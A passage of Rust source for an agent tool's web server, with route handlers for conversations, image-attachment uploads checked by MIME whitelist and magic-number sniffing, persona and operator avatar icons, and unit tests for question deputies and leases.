10902        let mut talk = ui.talks.get(&id)?;
10903        talk::reopen(&mut talk, &ui.talks)?;
10904        let thinking = ui.is_thinking(&talk.id);
10905        Ok(Json(TalkView::new(talk, thinking, &ui)))
10906    })
10907    .await
10908}
10909
10910/// `DELETE /api/talks/{id}`.
10911///
10912/// Removes the conversation's record and artifacts outright, unlike
10913/// [`talk_close`] which keeps the record as history. A turn already in
10914/// flight is not refused here the way [`run_delete`] refuses a live run:
10915/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
10916/// under [`Talks::guard`], that the record they are about to write back is
10917/// still there, so a delete racing a turn is safe without this route having
10918/// to know a turn is running at all.
10919async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
10920    blocking(move || {
10921        let id = resolve_talk(&ui.talks, &id)?;
10922        ui.talks.remove(&id)?;
10923        Ok(StatusCode::NO_CONTENT)
10924    })
10925    .await
10926}
10927
10928fn talk_ids(root: &FsPath) -> Vec<String> {
10929    std::fs::read_dir(root)
10930        .into_iter()
10931        .flatten()
10932        .flatten()
10933        .filter_map(|e| {
10934            let path = e.path();
10935            if path.extension().is_some_and(|ext| ext == "json") {
10936                path.file_stem().and_then(|s| s.to_str()).map(str::to_owned)
10937            } else {
10938                None
10939            }
10940        })
10941        .collect()
10942}
10943
10944/// Expand an id or short id to exactly one talk id.
10945fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
10946    if plain_record_id(id) && store.path_of(id).is_file() {
10947        return Ok(id.to_owned());
10948    }
10949    pick(talk_ids(store.root()), id, "talk")
10950}
10951
10952/// `POST /api/talks/{id}/attachments` - upload one image to attach to a
10953/// future `talk-say`.
10954async fn talk_attachment_post(
10955    State(ui): State<Arc<Ui>>,
10956    Path(id): Path<String>,
10957    headers: HeaderMap,
10958    body: Bytes,
10959) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
10960    let mime = validate_attachment(&headers, &body)?;
10961    let name = filename_header(&headers);
10962    let data = body.to_vec();
10963    blocking(move || {
10964        let id = resolve_talk(&ui.talks, &id)?;
10965        let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
10966        Ok((StatusCode::CREATED, Json(att)))
10967    })
10968    .await
10969}
10970
10971/// `GET /api/talks/{id}/attachments/{att}` - the stored image back, for a
10972/// `<img>` tag in the transcript.
10973async fn talk_attachment_get(
10974    State(ui): State<Arc<Ui>>,
10975    Path((id, att)): Path<(String, String)>,
10976) -> ApiResult<Response> {
10977    blocking(move || {
10978        let id = resolve_talk(&ui.talks, &id)?;
10979        let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
10980            return Err(ApiError::not_found(format!(
10981                "talk {id} has no attachment `{att}`"
10982            )));
10983        };
10984        Ok(attachment_response(&meta.mime, data))
10985    })
10986    .await
10987}
10988
10989/// The avatar URL for one persona of one conversation. `v` is a fingerprint of
10990/// the icon setting, so changing it changes the URL.
10991fn avatar_url(home: &FsPath, talk_id: &str, p: &persona::Persona) -> String {
10992    let id = avatar_encode(&p.id);
10993    format!(
10994        "/api/talks/{talk_id}/avatar?persona={id}&v={}",
10995        persona_icon::fingerprint(
10996            effective_persona_icon(home, &p.id, p.icon.as_deref()).as_deref()
10997        )
10998    )
10999}
11000
11001#[derive(Debug, Default, Deserialize)]
11002struct AvatarQuery {
11003    persona: Option<String>,
11004    /// Set by the page after the first load failed: skip the `icon`.
11005    builtin: Option<String>,
11006}
11007
11008/// Served with every built-in avatar: it is an image, so nothing else may run.
11009const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
11010
11011fn builtin_avatar(id: &str) -> Response {
11012    svg_avatar(persona_icon::builtin_svg(id))
11013}
11014
11015async fn operator_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
11016    raster_or_builtin(
11017        read_icon_file(&avatar_setting_path(&ui.home, None))
11018            .filter(|_| q.builtin.is_none())
11019            .as_deref(),
11020        persona_icon::operator_svg(),
11021    )
11022}
11023
11024fn svg_avatar(svg: &'static str) -> Response {
11025    (
11026        [
11027            (header::CONTENT_TYPE, "image/svg+xml"),
11028            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
11029            (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
11030            (header::CACHE_CONTROL, "no-cache"),
11031        ],
11032        svg,
11033    )
11034        .into_response()
11035}
11036
11037fn avatar_encode(value: &str) -> String {
11038    value
11039        .bytes()
11040        .map(|b| {
11041            if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
11042                char::from(b).to_string()
11043            } else {
11044                format!("%{b:02X}")
11045            }
11046        })
11047        .collect()
11048}
11049
11050// Display-only overrides live outside configuration and conversation records.
11051fn avatar_setting_path(home: &FsPath, persona: Option<&str>) -> PathBuf {
11052    let Some(id) = persona else {
11053        return home.join("avatars/operator.data");
11054    };
11055    let encoded: String = id.bytes().map(|b| format!("{b:02x}")).collect();
11056    let mut path = home.join("avatars/personas");
11057    for chunk in encoded.as_bytes().chunks(100) {
11058        path.push(std::str::from_utf8(chunk).expect("hex"));
11059    }
11060    path.join("icon.data")
11061}
11062
11063fn effective_persona_icon(home: &FsPath, id: &str, configured: Option<&str>) -> Option<String> {
11064    match read_icon_file(&avatar_setting_path(home, Some(id))) {
11065        Some(value) if value == "builtin" => Some(String::new()),
11066        Some(value) => Some(value),
11067        None => configured.map(str::to_owned),
11068    }
11069}
11070
11071fn operator_icon_url(home: &FsPath) -> String {
11072    format!(
11073        "/avatars/operator.svg?v={}",
11074        persona_icon::fingerprint(
11075            read_icon_file(&avatar_setting_path(home, None))
11076                .as_deref()
11077                .or(Some(persona_icon::operator_svg()))
11078        )
11079    )
11080}
11081
11082fn raster_or_builtin(icon: Option<&str>, builtin: &'static str) -> Response {
11083    let mut response = match icon.and_then(|i| persona_icon::load(i).ok()) {
11084        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
11085            attachment_response(mime, bytes)
11086        }
11087        _ => svg_avatar(builtin),
11088    };
11089    response
11090        .headers_mut()
11091        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
11092    response
11093}
11094
11095#[derive(Default, Deserialize)]
11096struct AvatarSettingsQuery {
11097    repo: Option<PathBuf>,
11098    persona: Option<String>,
11099    builtin: Option<String>,
11100    inherit: Option<String>,
11101}
11102
11103fn avatar_settings_specs(
11104    ui: &Ui,
11105    repo: Option<PathBuf>,
11106) -> ApiResult<(PathBuf, Vec<crate::config::PersonaSpec>)> {
11107    let (repo, _) = settings_context(ui, SettingsQuery { repo })?;
11108    let specs = settings::repository_config(&repo, ui.machine_config.as_deref())
11109        .map(|cfg| cfg.talk.personas)
11110        .unwrap_or_default();
11111    Ok((repo, specs))
11112}
11113
11114fn saved_persona_ids(path: &FsPath, prefix: &str, out: &mut Vec<String>) {
11115    let Ok(entries) = std::fs::read_dir(path) else {
11116        return;
11117    };
11118    for entry in entries.flatten() {
11119        let name = entry.file_name().to_string_lossy().into_owned();
11120        if name == "icon.data" {
11121            let bytes: Option<Vec<u8>> = prefix
11122                .as_bytes()
11123                .chunks(2)
11124                .map(|c| u8::from_str_radix(std::str::from_utf8(c).ok()?, 16).ok())
11125                .collect();
11126            if let Some(id) = bytes.and_then(|b| String::from_utf8(b).ok()) {
11127                out.push(id);
11128            }
11129        } else if name.len() <= 100
11130            && !name.is_empty()
11131            && name.bytes().all(|b| b.is_ascii_hexdigit())
11132            && entry.file_type().is_ok_and(|t| t.is_dir())
11133        {
11134            saved_persona_ids(&entry.path(), &format!("{prefix}{name}"), out);
11135        }
11136    }
11137}
11138
11139async fn avatar_settings_get(
11140    State(ui): State<Arc<Ui>>,
11141    Query(q): Query<AvatarSettingsQuery>,
11142) -> ApiResult<Json<serde_json::Value>> {
11143    blocking(move || {
11144        let (repo, specs) = avatar_settings_specs(&ui, q.repo)?;
11145        let mut catalog = persona::catalog(&specs);
11146        let known_ids: Vec<_> = catalog.iter().map(|p| p.id.clone()).collect();
11147        let mut saved = Vec::new();
11148        saved_persona_ids(&ui.home.join("avatars/personas"), "", &mut saved);
11149        for id in saved {
11150            if !catalog.iter().any(|p| p.id == id) {
11151                catalog.push(persona::Persona { name: format!("{id} (saved override)"), id, prompt: String::new(), icon: None });
11152            }
11153        }
11154        let personas: Vec<_> = catalog.iter().map(|p| {
11155            let saved = read_icon_file(&avatar_setting_path(&ui.home, Some(&p.id)));
11156            let override_state = match saved.as_deref() {
11157                Some("builtin") => "builtin",
11158                Some(_) => "custom",
11159                None => "inherit",
11160            };
11161            let icon = effective_persona_icon(&ui.home, &p.id, p.icon.as_deref());
11162            serde_json::json!({"id":p.id,"name":p.name,
11163                "override_state":override_state,"has_config_icon":p.icon.is_some(),
11164                "is_orphan":!known_ids.contains(&p.id),"avatar":format!("/avatars/persona?persona={}&repo={}&v={}",
11165                avatar_encode(&p.id), avatar_encode(&repo.to_string_lossy()), persona_icon::fingerprint(icon.as_deref()))})
11166        }).collect();
11167        Ok(Json(serde_json::json!({"operator":operator_icon_url(&ui.home), "personas":personas})))
11168    }).await
11169}
11170
11171async fn settings_persona_avatar(
11172    State(ui): State<Arc<Ui>>,
11173    Query(q): Query<AvatarSettingsQuery>,
11174) -> ApiResult<Response> {
11175    blocking(move || {
11176        let (_, specs) = avatar_settings_specs(&ui, q.repo)?;
11177        let id = q.persona.as_deref().unwrap_or(persona::DEFAULT_ID);
11178        let found = persona::find(&specs, id);
11179        let icon =
11180            effective_persona_icon(&ui.home, id, found.as_ref().and_then(|p| p.icon.as_deref()));
11181        Ok(raster_or_builtin(
11182            icon.as_deref().filter(|_| q.builtin.is_none()),
11183            persona_icon::builtin_svg(id),
11184        ))
11185    })
11186    .await
11187}
11188
11189fn validate_avatar_target(q: &AvatarSettingsQuery) -> ApiResult<()> {
11190    if q.persona
11191        .as_ref()
11192        .is_some_and(|p| p.is_empty() || p.len() > 4096)
11193    {
11194        return Err(ApiError::bad_request("invalid persona id"));
11195    }
11196    Ok(())
11197}
11198
11199async fn avatar_settings_put(
11200    State(ui): State<Arc<Ui>>,
11201    Query(q): Query<AvatarSettingsQuery>,
11202    Json(upload): Json<MagiIconUpload>,
11203) -> ApiResult<Json<serde_json::Value>> {
11204    blocking(move || {
11205        validate_avatar_target(&q)?;
11206        save_icon_file(
11207            &avatar_setting_path(&ui.home, q.persona.as_deref()),
11208            &upload.icon,
11209        )
11210        .map_err(ApiError::bad_request_from)?;
11211        Ok(Json(serde_json::json!({"saved":true})))
11212    })
11213    .await
11214}
11215
11216async fn avatar_settings_delete(
11217    State(ui): State<Arc<Ui>>,
11218    Query(q): Query<AvatarSettingsQuery>,
11219) -> ApiResult<Json<serde_json::Value>> {
11220    blocking(move || {
11221        validate_avatar_target(&q)?;
11222        let path = avatar_setting_path(&ui.home, q.persona.as_deref());
11223        if q.persona.is_some() && q.inherit.is_none() {
11224            atomic_icon_write(&path, "builtin")?;
11225        } else {
11226            match std::fs::remove_file(path) {
11227                Ok(()) => (),
11228                Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
11229                Err(e) => return Err(anyhow::Error::from(e).into()),
11230            }
11231        }
11232        Ok(Json(serde_json::json!({"saved":true})))
11233    })
11234    .await
11235}
11236
11237// The global MAGI icon is deliberately independent of repository configuration.
11238fn magi_icon_path(home: &FsPath) -> PathBuf {
11239    home.join("magi-icon.data")
11240}
11241
11242fn read_magi_icon(home: &FsPath) -> Option<String> {
11243    read_icon_file(&magi_icon_path(home))
11244}
11245
11246fn read_icon_file(path: &FsPath) -> Option<String> {
11247    let metadata = std::fs::metadata(path).ok()?;
11248    if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
11249        return None;
11250    }
11251    let file = std::fs::File::open(path).ok()?;
11252    use std::io::Read;
11253    let mut text = String::new();
11254    file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
11255        .read_to_string(&mut text)
11256        .ok()?;
11257    if text.len() > persona_icon::ICON_MAX_BYTES {
11258        return None;
11259    }
11260    if text == "builtin" {
11261        return Some(text);
11262    }
11263    validate_uploaded_icon(&text).ok()?;
11264    Some(text)
11265}
11266
11267fn magi_icon_url(home: &FsPath) -> String {
11268    format!(
11269        "/avatars/magi?v={}",
11270        persona_icon::fingerprint(read_magi_icon(home).as_deref())
11271    )
11272}
11273
11274async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
11275    Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
11276}
11277
11278#[derive(Deserialize)]
11279struct MagiIconUpload {
11280    icon: String,
11281}
11282
11283fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
11284    save_icon_file(&magi_icon_path(home), icon)
11285}
11286
11287fn validate_uploaded_icon(icon: &str) -> Result<()> {
11288    if !icon.starts_with("data:") {
11289        anyhow::bail!("upload a raster image");
11290    }
11291    let (mime, bytes) = persona_icon::load(icon)?;
11292    if sniffed_mime(&bytes) != Some(mime) {
11293        anyhow::bail!("image content does not match its type");
11294    }
11295    Ok(())
11296}
11297
11298fn save_icon_file(path: &FsPath, icon: &str) -> Result<()> {
11299    validate_uploaded_icon(icon)?;
11300    atomic_icon_write(path, icon)
11301}
11302
11303fn atomic_icon_write(path: &FsPath, icon: &str) -> Result<()> {
11304    let home = path.parent().expect("icon parent");
11305    std::fs::create_dir_all(home)?;
11306    let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
11307    let temp = home.join(format!(".magi-icon-{token}.tmp"));
11308    let result = (|| -> Result<()> {
11309        use std::io::Write;
11310        let mut file = std::fs::OpenOptions::new()
11311            .write(true)
11312            .create_new(true)
11313            .open(&temp)?;
11314        file.write_all(icon.as_bytes())?;
11315        file.sync_all()?;
11316        std::fs::rename(&temp, path)?;
11317        Ok(())
11318    })();
11319    let _ = std::fs::remove_file(temp);
11320    result?;
11321    Ok(())
11322}
11323
11324async fn magi_icon_put(
11325    State(ui): State<Arc<Ui>>,
11326    Json(upload): Json<MagiIconUpload>,
11327) -> ApiResult<Json<serde_json::Value>> {
11328    blocking(move || {
11329        if !upload.icon.starts_with("data:") {
11330            return Err(ApiError::bad_request("upload a raster image"));
11331        }
11332        let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
11333        if sniffed_mime(&bytes) != Some(mime) {
11334            return Err(ApiError::bad_request(
11335                "image content does not match its type",
11336            ));
11337        }
11338        save_magi_icon(&ui.home, &upload.icon)?;
11339        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
11340    })
11341    .await
11342}
11343
11344async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
11345    blocking(move || {
11346        match std::fs::remove_file(magi_icon_path(&ui.home)) {
11347            Ok(()) => (),
11348            Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
11349            Err(e) => return Err(anyhow::Error::from(e).into()),
11350        }
11351        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
11352    })
11353    .await
11354}
11355
11356async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
11357    let icon = (q.builtin.is_none())
11358        .then(|| read_magi_icon(&ui.home))
11359        .flatten();
11360    let mut response = match icon
11361        .as_deref()
11362        .and_then(|icon| persona_icon::load(icon).ok())
11363    {
11364        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
11365            attachment_response(mime, bytes)
11366        }
11367        _ => svg_avatar(persona_icon::magi_svg()),
11368    };
11369    response
11370        .headers_mut()
11371        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
11372    response
11373}
11374
11375/// `GET /api/talks/{id}/avatar?persona=<id>` - a persona's avatar: the
11376/// operator's raster `icon` when it resolves and its bytes agree with its
11377/// type, the built-in SVG otherwise. Display only; every failure is a warning
11378/// and the built-in avatar, never an error response.
11379async fn talk_avatar(
11380    State(ui): State<Arc<Ui>>,
11381    Path(id): Path<String>,
11382    Query(q): Query<AvatarQuery>,
11383) -> ApiResult<Response> {
11384    blocking(move || {
11385        let id = resolve_talk(&ui.talks, &id)?;
11386        let talk = ui.talks.get(&id)?;
11387        let wanted = q
11388            .persona
11389            .as_deref()
11390            .map(str::trim)
11391            .filter(|p| !p.is_empty())
11392            .unwrap_or(&talk.persona)
11393            .to_owned();
11394        let specs = match Config::discover(&talk.repo, None) {
11395            Ok((cfg, _)) => cfg.talk.personas,
11396            Err(e) => {
11397                tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
11398                Vec::new()
11399            }
11400        };
11401        let found = persona::find(&specs, &wanted);
11402        // Stored blank IDs are the plain voice, whose canonical ID is `default`.
11403        let wanted = found.as_ref().map_or(wanted, |p| p.id.clone());
11404        let icon = effective_persona_icon(
11405            &ui.home,
11406            &wanted,
11407            found.as_ref().and_then(|p| p.icon.as_deref()),
11408        );
11409        if found.is_none() && icon.is_none() {
11410            return Ok(builtin_avatar(persona::DEFAULT_ID));
11411        }
11412        let Some(icon) = icon
11413            .as_deref()
11414            .filter(|icon| !icon.is_empty() && q.builtin.is_none())
11415        else {
11416            return Ok(builtin_avatar(&wanted));
11417        };
11418        let Some(found) = found else {
11419            return Ok(raster_or_builtin(
11420                Some(icon),
11421                persona_icon::builtin_svg(&wanted),
11422            ));
11423        };
11424        match persona_icon::load(icon) {
11425            Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
11426                let mut res = attachment_response(mime, bytes);
11427                res.headers_mut().insert(
11428                    header::CACHE_CONTROL,
11429                    header::HeaderValue::from_static("no-cache"),
11430                );
11431                Ok(res)
11432            }
11433            Ok((mime, _)) => {
11434                tracing::warn!(
11435                    "avatar: icon of persona `{}` is not really {mime}; using the built-in",
11436                    found.id
11437                );
11438                Ok(builtin_avatar(&found.id))
11439            }
11440            Err(e) => {
11441                tracing::warn!(
11442                    "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
11443                    found.id
11444                );
11445                Ok(builtin_avatar(&found.id))
11446            }
11447        }
11448    })
11449    .await
11450}
11451
11452/// Validate an attachment upload's declared `Content-Type` and the bytes
11453/// themselves, returning the canonical mime on success.
11454///
11455/// Two checks, both required: the header has to name one of
11456/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
11457/// simply never in the list, active content rather than a picture, the same
11458/// exclusion [`asset_content_type`]'s doc explains), and the file's own
11459/// magic number has to agree. The second is what stops a mislabeled upload -
11460/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
11461/// a declared type is a claim, not a fact, so it is never trusted alone.
11462fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
11463    if data.len() > ATTACHMENT_MAX_BYTES {
11464        return Err(ApiError::bad_request(format!(
11465            "attachment is {} bytes, over the {} MiB limit",
11466            data.len(),
11467            ATTACHMENT_MAX_BYTES / (1024 * 1024)
11468        ))
11469        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
11470    }
11471    if data.is_empty() {
11472        return Err(ApiError::bad_request("attachment is empty"));
11473    }
11474    let declared = declared_mime(headers)?;
11475    match sniffed_mime(data) {
11476        Some(sniffed) if sniffed == declared => Ok(declared),
11477        Some(sniffed) => Err(ApiError::bad_request(format!(
11478            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
11479        ))),
11480        None => Err(ApiError::bad_request(
11481            "the file's bytes do not match any accepted image format",
11482        )),
11483    }
11484}
11485
11486/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
11487/// and nothing else - parameters like `; charset=` are stripped, but the
11488/// value itself is not otherwise interpreted.
11489fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
11490    let raw = headers
11491        .get(header::CONTENT_TYPE)
11492        .and_then(|v| v.to_str().ok())
11493        .unwrap_or("")
11494        .split(';')
11495        .next()
11496        .unwrap_or("")
11497        .trim()
11498        .to_ascii_lowercase();
11499    ATTACHMENT_MIME_WHITELIST
11500        .iter()
11501        .find(|&&m| m == raw)
11502        .copied()
11503        .ok_or_else(|| {
11504            if raw == "image/svg+xml" {
11505                ApiError::bad_request(
11506                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
11507                     not just a picture",
11508                )
11509            } else if raw.is_empty() {
11510                ApiError::bad_request("Content-Type is required for an attachment upload")
11511            } else {
11512                ApiError::bad_request(format!(
11513                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
11514                     image/gif or image/webp"
11515                ))
11516            }
11517        })
11518}
11519
11520/// Identify an image by its magic number, independent of whatever
11521/// `Content-Type` claimed.
11522fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
11523    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
11524        Some("image/png")
11525    } else if data.starts_with(b"\xff\xd8\xff") {
11526        Some("image/jpeg")
11527    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
11528        Some("image/gif")
11529    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
11530        Some("image/webp")
11531    } else {
11532        None
11533    }
11534}
11535
11536/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
11537/// display - see [`talk::Attachment::name`]'s doc on why it never
11538/// contributes to a path. A missing or blank header (curl without it, an
11539/// older front end) falls back to a generic name rather than refusing the
11540/// upload over a field that is cosmetic.
11541fn filename_header(headers: &HeaderMap) -> String {
11542    headers
11543        .get(FILENAME_HEADER)
11544        .and_then(|v| v.to_str().ok())
11545        .map(str::trim)
11546        .filter(|s| !s.is_empty())
11547        .unwrap_or("attachment")
11548        .to_owned()
11549}
11550
11551/// Every attachment `GET` response: the mime re-validated against the same
11552/// closed whitelist the upload route enforces - never the string trusted
11553/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
11554/// cannot decide it knows better than the type we send. Unlike a panel asset
11555/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
11556/// document renders inline, not agent-authored HTML in a sandboxed frame.
11557fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
11558    let content_type = ATTACHMENT_MIME_WHITELIST
11559        .iter()
11560        .find(|&&m| m == mime)
11561        .copied()
11562        .unwrap_or("application/octet-stream");
11563    (
11564        [
11565            (header::CONTENT_TYPE, content_type),
11566            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
11567        ],
11568        body,
11569    )
11570        .into_response()
11571}
11572
11573/// The configuration for a repository, read off the disk for this request.
11574///
11575/// Through [`blocking`] because discovery reads and merges several TOML files,
11576/// and because the alternative - caching it in [`Ui`] at startup - would mean
11577/// the operator's phone kept interviewing with a roster they had already
11578/// changed, with no way to reload it but restarting the server they are not
11579/// sitting in front of.
11580async fn config_for(repo: &FsPath) -> ApiResult<Config> {
11581    let repo = repo.to_path_buf();
11582    blocking(move || {
11583        let (cfg, _) = Config::discover(&repo, None)?;
11584        Ok(cfg)
11585    })
11586    .await
11587}
11588
11589/// The one prefix rule, used for both runs and tasks: a leading match for a
11590/// full id, a trailing match for the short form an operator reads off a
11591/// report. Written here rather than borrowed from `queue::resolve_id` because
11592/// the UI needs the two failures as different status codes, and telling them
11593/// apart from an error message is not something to build a route on.
11594fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
11595    let mut hits = ids
11596        .into_iter()
11597        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
11598    match (hits.next(), hits.next()) {
11599        (Some(one), None) => Ok(one),
11600        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
11601        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
11602            "`{prefix}` matches more than one {what}, including {a} and {b}"
11603        ))),
11604    }
11605}
11606
11607#[cfg(test)]
11608mod tests {
11609
11610    #[test]
11611    fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
11612        let dir = tempfile::tempdir().unwrap();
11613        let store = ask::Questions::at(dir.path().join("questions"));
11614        let mut q = Question::new(
11615            "task".to_owned(),
11616            "conduct".to_owned(),
11617            "conduct".to_owned(),
11618            "choose".to_owned(),
11619            String::new(),
11620            vec!["keep".to_owned()],
11621        );
11622        q.deputy = Some(ask::Deputy::new("brief".to_owned()));
11623        q.say("why?").unwrap();
11624        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
11625        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11626        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
11627        store.put(&mut q).unwrap();
11628        assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11629        assert_eq!(store.count_needs_owner(), 1);
11630        store.beat(&q.id, ask::WaiterKind::Deputy);
11631        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11632        assert_eq!(store.count_needs_owner(), 0);
11633        let mut stale = store.read_lease(&q.id).unwrap();
11634        stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
11635        std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
11636        let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
11637        assert!(view.deputy_exhausted);
11638        assert!(view.waiting_on_agent);
11639        assert_eq!(view.question.choices, ["keep"]);
11640        store.drop_lease(&q.id);
11641        q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
11642        assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
11643    }
11644
11645    #[test]
11646    fn holder_reads_the_lease_not_the_record() {
11647        let mut q = Question::new(
11648            "run".to_owned(),
11649            "implement".to_owned(),
11650            "impl-A".to_owned(),
11651            "which?".to_owned(),
11652            String::new(),
11653            Vec::new(),
11654        );
11655        assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
11656        q.cwd = Some("/tmp".to_owned());
11657        assert_eq!(holder_of(&q, None), Some("nobody"));
11658        let beat = |kind, ago: i64| ask::Lease {
11659            kind,
11660            pid: 1,
11661            beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
11662                .unwrap(),
11663        };
11664        let fresh = beat(ask::WaiterKind::Asker, 1);
11665        assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
11666        let daemon = beat(ask::WaiterKind::Daemon, 1);
11667        assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
11668        let stale = beat(ask::WaiterKind::Asker, 3600);
11669        assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
11670
11671        // A conductor question says "deputy" only while one is attached and
11672        // alive, and "nobody" - never silence - when nothing ever listened.
11673        let mut c = Question::new(
11674            "task".to_owned(),
11675            crate::conduct::NODE.to_owned(),
11676            "conduct".to_owned(),
11677            "which?".to_owned(),
11678            String::new(),
11679            Vec::new(),
11680        );
11681        assert_eq!(holder_of(&c, None), Some("nobody"));
11682        c.cwd = Some("/tmp".to_owned());
11683        c.deputy = Some(ask::Deputy::new("brief".to_owned()));
11684        assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
11685        let deputy = beat(ask::WaiterKind::Deputy, 1);
11686        assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
11687        assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
11688
11689        // A release-watch question: nobody until a deputy is attached.
11690        let mut r = Question::new(
11691            String::new(),
11692            crate::bump::NOTICE_NODE.to_owned(),
11693            "release-watch".to_owned(),
11694            "stuck?".to_owned(),
11695            String::new(),
11696            vec!["hold".to_owned()],
11697        );
11698        assert_eq!(holder_of(&r, None), Some("nobody"));
11699        r.deputy = Some(ask::Deputy::new("brief".to_owned()));
11700        assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
11701        // A choice-less bump notice is nobody's question at all.
11702        r.deputy = None;
11703        r.seat = "bump".to_owned();
11704        assert_eq!(holder_of(&r, None), None);
11705
11706        // A merge approval is the same: nobody until a deputy is attached
11707        // and alive, never a silent "no holder".
11708        let mut m = Question::new(
11709            "run".to_owned(),
11710            crate::land::APPROVAL_NODE.to_owned(),
11711            "land".to_owned(),
11712            "merge?".to_owned(),
11713            String::new(),
11714            Vec::new(),
11715        );
11716        assert_eq!(holder_of(&m, None), Some("nobody"));
11717        assert_eq!(
11718            holder_of(&m, Some(&fresh)),
11719            Some("asker"),
11720            "a live explicit wait is a listener even before a deputy is attached"
11721        );
11722        m.deputy = Some(ask::Deputy::new("brief".to_owned()));
11723        assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
11724        assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
11725        assert_eq!(holder_of(&m, None), Some("nobody"));
11726    }
11727
11728    fn stub_config() -> Config {
11729        // An explicit roster, so the result never depends on which agent CLIs
11730        // this machine has installed.
11731        Config {
11732            agents: vec![crate::config::AgentSpec {
11733                id: "stub".to_owned(),
11734                kind: AgentKind::Command,
11735                model: None,
11736                command: vec!["true".to_owned()],
11737                extra_args: Vec::new(),
11738                env: Default::default(),
11739                prompt_delivery: None,
11740                max_turn_secs: None,
11741            }],
11742            ..Config::default()
11743        }
11744    }
11745
11746    fn plain_question(seat: &str) -> Question {
11747        Question::new(
11748            String::new(),
11749            "n".to_owned(),
11750            seat.to_owned(),
11751            "s".to_owned(),
11752            String::new(),
11753            Vec::new(),
11754        )
11755    }
11756
11757    #[test]
11758    fn deputies_enabled_follows_the_config() {
11759        let on = stub_config();
11760        assert!(crate::deputy::can_start(Some(&on), ""));
11761        assert!(crate::deputy::can_start(Some(&on), "stub"));
11762        let mut off = on.clone();
11763        off.daemon.max_deputies = 0;
11764        assert!(!crate::deputy::can_start(Some(&off), ""));
11765        let mut empty = on;
11766        empty.agents.clear();
11767        assert!(!crate::deputy::can_start(Some(&empty), ""));
